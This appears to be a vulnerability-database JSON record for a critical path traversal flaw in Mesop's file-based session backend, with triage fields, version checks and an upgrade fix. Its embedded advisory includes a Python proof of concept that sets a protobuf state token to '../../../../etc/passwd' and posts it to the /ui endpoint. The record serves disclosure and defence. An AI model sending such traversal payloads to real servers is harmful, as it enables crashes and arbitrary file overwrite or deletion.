{"id":"CVE-2026-33054","kind":"vulnerability","aliases":["CVE-2026-33054","GHSA-8qvf-mr4w-9x2c"],"related":[],"title":"Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion","description":"#### Summary\nA Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.\n\n#### Details\nWhen the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. \nIn `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.\nBecause this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). \n\n```python\n# mesop/server/state_session.py\n  def _make_file_path(self, token: str) -> Path:\n    return self.base_dir / (self.prefix + token)\n```\nPython's standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.\n\n#### PoC\nAn attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.\n\n```python\nimport requests\nimport mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled\n\n# 1. Craft the malicious protobuf message\nuser_event = pb.UserEvent()\n# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file\nuser_event.state_token = \"../../../../etc/passwd\" \n\n# Alternatively, targeting Windows:\n# user_event.state_token = \"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n\nserialized_event = user_event.SerializeToString()\n\n# 2. Send the message to the ui stream endpoint\nheaders = {'Content-Type': 'application/x-protobuf'}\nresponse = requests.post(\n    \"http://localhost:32123/ui\",\n    data=serialized_event,\n    headers=headers\n)\n\n# The server will attempt to parse /etc/passwd using msgpack, \n# resulting in a crash or reading/overwriting operations depending on the request type invoked.\nprint(response.content)\n```\n\n#### Impact\nThis vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.","summary":"Mesop's file-based session backend uses a client-supplied state token as a file path without checks, so a crafted request can point outside the session directory. An attacker can crash the application or overwrite and delete files the server process can write to.","severity":"critical","cvss":10.0,"epss":0.00793,"exploited":false,"exploited_at":null,"products":[{"name":"mesop","fixed":["1.2.3"],"affected":"<= 1.2.2","ecosystem":"pypi"},{"name":"mesop-dev mesop","fixed":["1.2.3"],"affected":"< 1.2.3","ecosystem":"vendor"},{"via":"cpe","name":"mesop","fixed":["1.2.3"],"affected":"< 1.2.3","ecosystem":"pypi"}],"ecosystems":["pypi","vendor"],"tags":["cwe-22","mesop","package","python","self-hosted"],"not_affected_if":["default-config","managed-hosting"],"how_to_check":"- Check the installed version with `pip show mesop`; affected versions are `1.2.2` and below.\n- Look for `FileStateSessionBackend` in your application code or configuration; it is the disk-based session backend the advisory names.\n- Confirm whether the `/ui` endpoint is reachable from untrusted networks.","fix":"- Upgrade mesop to `1.2.3`.","status":"open","published_at":"2026-03-18T20:01:21+00:00","first_seen_at":"2026-11-16T15:37:42+00:00","triaged_at":"2026-11-16T15:37:51+00:00","updated_at":"2026-11-16T16:08:50+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-16T15:37:51Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade mesop to `1.2.3`.","reach":"internet","title":"Mesop: path traversal in session backend lets requests read, overwrite or delete files","impact":"high","summary":"Mesop's file-based session backend uses a client-supplied state token as a file path without checks, so a crafted request can point outside the session directory. An attacker can crash the application or overwrite and delete files the server process can write to.","audience":"developers","category":"package","nicknames":[],"who_cares":["mesop","python","self-hosted"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"Arbitrary files overwritten or deleted, and the application crashes","analyst_note":"","how_to_check":"- Check the installed version with `pip show mesop`; affected versions are `1.2.2` and below.\n- Look for `FileStateSessionBackend` in your application code or configuration; it is the disk-based session backend the advisory names.\n- Confirm whether the `/ui` endpoint is reachable from untrusted networks.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["default-config","managed-hosting"],"who_is_affected":"Applications built on Mesop that use the disk-based `FileStateSessionBackend` and expose the `/ui` stream endpoint to users. The advisory says the state token is taken directly from the incoming protobuf message, so any reachable deployment using that backend is exposed. Deployments using other session backends are not described as affected.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"critical"},"cost_usd":0.000832,"input_tokens":5508,"output_tokens":562,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2026':18A,26A '-22':35B '-33054':19A,27A '/../..':218C '/../../../etc/passwd':314C '/etc/passwd':357C '/ui':268C '1':283C '2':328C '32123/ui':345C '8qvf':22A '9x2c':24A 'activ':167C 'actor':386C 'allow':93C,243C 'altern':315C 'applic':10A,77B,127C,402C 'application/x-protobuf':341C 'arbitrari':144C,390C 'arbitrarili':109C 'assum':278C 'attack':73B,97C,254C 'attempt':354C 'backend':48B,122C,160C 'base':46B,120C,158C,248C 'bound':403C 'check':61B 'client':52B 'client-suppli':51B 'collect':193C 'compil':282C 'configur':142C,152C 'content':339C 'content-typ':338C 'could':387C 'craft':64B,259C,284C 'crash':75B,132C,363C 'crontab':307C 'cve':17A,25A 'cwe':34B 'data':346C 'def':221C 'delet':81B 'denial':11A,128C 'depend':367C 'destin':250C 'detail':147C 'dev':31A 'dictat':168C 'dir':231C,249C 'direct':194C 'directori':71B,295C 'disk':114C,157C,181C 'disk-bas':156C 'driver':322C 'e.g':217C,304C 'endpoint':188C,336C 'escap':245C,292C 'etc':323C 'evalu':213C 'event':290C,326C,348C 'event.state':190C 'explicit':394C 'expos':379C 'file':15A,45B,58B,82B,111C,119C,140C,145C,223C,303C,311C 'file-bas':44B,118C 'filestatesessionbackend':7A,161C,383C 'filestatesessionbackend._make_file_path':209C 'framework':150C 'full':244C 'ghsa':21A 'ghsa-8qvf-mr4w-9x2c':20A 'header':337C,349C,350C 'heavili':378C 'host':41B,324C,381C 'impact':375C 'import':271C,273C 'incom':198C 'intent':251C 'interact':388C 'invok':372C 'lead':8A 'librari':237C 'localhost':344C 'loop':133C 'make':222C 'malici':263C,286C,385C 'manipul':146C 'mesop':1A,28A,30A,32A,33A,36B,42B,279C 'mesop-dev':29A 'mesop.protos.ui':274C 'mesop.protos.ui_pb2.userevent':202C 'mesop/server/server.py':183C 'mesop/server/state_session.py':220C 'messag':200C,288C,331C 'mr4w':23A 'msgpack':138C,359C 'nativ':179C,238C,399C 'non':137C 'non-msgpack':136C 'oper':216C,366C 'os':240C 'outsid':68B,400C 'overwrit':79B,392C 'packag':37B 'pars':356C 'pass':207C 'path':4A,59B,90C,215C,224C,228C,297C 'payload':107C,265C,391C 'pb':277C 'pb.userevent':291C 'pb2':275C 'physic':175C 'poc':252C 'point':67B 'print':373C 'process':85B 'proto':280C 'protobuf':199C,264C,287C 'python':38B,219C,234C,257C,270C 'queri':178C 'read':135C 'reading/overwriting':365C 'remov':395C 'request':65B,272C,370C 'requests.post':343C 'resolv':239C 'resourc':398C 'respons':342C 'response.content':374C 'result':125C,360C 'return':229C 'root':306C 'runtim':121C,171C 'save':176C 'self':40B,210C,225C 'self-host':39B 'self.base':230C 'self.prefix':232C 'semant':242C 'send':261C,329C 'sensit':302C 'serial':325C,347C 'server':84B,352C 'servic':13A,130C,397C 'session':47B,70B,159C,172C 'specif':184C 'standard':117C,214C,236C 'state':54B,101C,165C,173C 'str':227C 'stream':106C,187C,269C,335C 'struct':201C 'summari':88C 'suppli':53B,98C 'system':310C,380C 'system32':321C 'target':110C,139C,300C,316C 'tmp':294C 'token':55B,102C,166C,191C,211C,226C,233C,313C,319C 'travers':5A,91C,241C,298C 'type':340C,371C 'ui':105C,186C,334C 'unauthor':384C 'uncondit':206C 'under':396C 'untrust':100C,197C 'use':49B,154C,358C 'user':95C,163C,289C 'user_event.serializetostring':327C 'user_event.state':312C,318C 'util':6A,256C,382C 'via':131C,296C 'vulner':92C,377C 'window':317C,320C 'without':60B 'write':87B 'write/deletion':16A","nicknames":[],"mitigations":[],"who_affected":"Applications built on Mesop that use the disk-based `FileStateSessionBackend` and expose the `/ui` stream endpoint to users. The advisory says the state token is taken directly from the incoming protobuf message, so any reachable deployment using that backend is exposed. Deployments using other session backends are not described as affected.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["mesop","mesopdevmesop"],"ptokens":["dev","mesop"],"labels":["critical","cwe22","mesop","package","pypi","python","selfhosted","vendor"],"campaign_type":null,"search_a":"'-2026':18A,26A '-33054':19A,27A '8qvf':22A '9x2c':24A 'applic':10A 'cve':17A,25A 'denial':11A 'dev':31A 'file':15A 'filestatesessionbackend':7A 'ghsa':21A 'ghsa-8qvf-mr4w-9x2c':20A 'lead':8A 'mesop':1A,28A,30A,32A,33A 'mesop-dev':29A 'mr4w':23A 'path':4A 'servic':13A 'travers':5A 'util':6A 'write/deletion':16A","search_b":"'-22':35B 'applic':77B 'attack':73B 'backend':48B 'base':46B 'check':61B 'client':52B 'client-suppli':51B 'craft':64B 'crash':75B 'cwe':34B 'delet':81B 'directori':71B 'file':45B,58B,82B 'file-bas':44B 'host':41B 'mesop':36B,42B 'outsid':68B 'overwrit':79B 'packag':37B 'path':59B 'point':67B 'process':85B 'python':38B 'request':65B 'self':40B 'self-host':39B 'server':84B 'session':47B,70B 'state':54B 'suppli':53B 'token':55B 'use':49B 'without':60B 'write':87B","search_c":"'/../..':218C '/../../../etc/passwd':314C '/etc/passwd':357C '/ui':268C '1':283C '2':328C '32123/ui':345C 'activ':167C 'actor':386C 'allow':93C,243C 'altern':315C 'applic':127C,402C 'application/x-protobuf':341C 'arbitrari':144C,390C 'arbitrarili':109C 'assum':278C 'attack':97C,254C 'attempt':354C 'backend':122C,160C 'base':120C,158C,248C 'bound':403C 'collect':193C 'compil':282C 'configur':142C,152C 'content':339C 'content-typ':338C 'could':387C 'craft':259C,284C 'crash':132C,363C 'crontab':307C 'data':346C 'def':221C 'denial':128C 'depend':367C 'destin':250C 'detail':147C 'dictat':168C 'dir':231C,249C 'direct':194C 'directori':295C 'disk':114C,157C,181C 'disk-bas':156C 'driver':322C 'e.g':217C,304C 'endpoint':188C,336C 'escap':245C,292C 'etc':323C 'evalu':213C 'event':290C,326C,348C 'event.state':190C 'explicit':394C 'expos':379C 'file':111C,119C,140C,145C,223C,303C,311C 'file-bas':118C 'filestatesessionbackend':161C,383C 'filestatesessionbackend._make_file_path':209C 'framework':150C 'full':244C 'header':337C,349C,350C 'heavili':378C 'host':324C,381C 'impact':375C 'import':271C,273C 'incom':198C 'intent':251C 'interact':388C 'invok':372C 'librari':237C 'localhost':344C 'loop':133C 'make':222C 'malici':263C,286C,385C 'manipul':146C 'mesop':279C 'mesop.protos.ui':274C 'mesop.protos.ui_pb2.userevent':202C 'mesop/server/server.py':183C 'mesop/server/state_session.py':220C 'messag':200C,288C,331C 'msgpack':138C,359C 'nativ':179C,238C,399C 'non':137C 'non-msgpack':136C 'oper':216C,366C 'os':240C 'outsid':400C 'overwrit':392C 'pars':356C 'pass':207C 'path':90C,215C,224C,228C,297C 'payload':107C,265C,391C 'pb':277C 'pb.userevent':291C 'pb2':275C 'physic':175C 'poc':252C 'print':373C 'proto':280C 'protobuf':199C,264C,287C 'python':219C,234C,257C,270C 'queri':178C 'read':135C 'reading/overwriting':365C 'remov':395C 'request':272C,370C 'requests.post':343C 'resolv':239C 'resourc':398C 'respons':342C 'response.content':374C 'result':125C,360C 'return':229C 'root':306C 'runtim':121C,171C 'save':176C 'self':210C,225C 'self.base':230C 'self.prefix':232C 'semant':242C 'send':261C,329C 'sensit':302C 'serial':325C,347C 'server':352C 'servic':130C,397C 'session':159C,172C 'specif':184C 'standard':117C,214C,236C 'state':101C,165C,173C 'str':227C 'stream':106C,187C,269C,335C 'struct':201C 'summari':88C 'suppli':98C 'system':310C,380C 'system32':321C 'target':110C,139C,300C,316C 'tmp':294C 'token':102C,166C,191C,211C,226C,233C,313C,319C 'travers':91C,241C,298C 'type':340C,371C 'ui':105C,186C,334C 'unauthor':384C 'uncondit':206C 'under':396C 'untrust':100C,197C 'use':154C,358C 'user':95C,163C,289C 'user_event.serializetostring':327C 'user_event.state':312C,318C 'util':256C,382C 'via':131C,296C 'vulner':92C,377C 'window':317C,320C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-03-17T20:44:31+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-8qvf-mr4w-9x2c","url":"https://github.com/advisories/GHSA-8qvf-mr4w-9x2c","severity":"critical","published_at":"2026-03-18T20:01:21+00:00","modified_at":"2026-11-16T15:34:38+00:00","first_seen_at":"2026-11-16T15:37:42+00:00","fetched_at":"2026-11-16T15:46:58+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-33054","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33054","severity":null,"published_at":"2026-03-20T07:16:13+00:00","modified_at":"2026-06-17T10:36:52+00:00","first_seen_at":"2026-11-16T16:08:50+00:00","fetched_at":"2026-11-16T16:08:50+00:00","note":null}],"documents":[{"id":170490,"url":"https://api.github.com/repos/mesop-dev/mesop/security-advisories/GHSA-8qvf-mr4w-9x2c","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":170491,"url":"https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-03-17T20:44:31+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":170492,"url":"https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":170493,"url":"https://github.com/mesop-dev/mesop/releases/tag/v1.2.3","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"disclosures":[],"exploit_sources":[{"type":"epss","score":0.00793,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33054"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}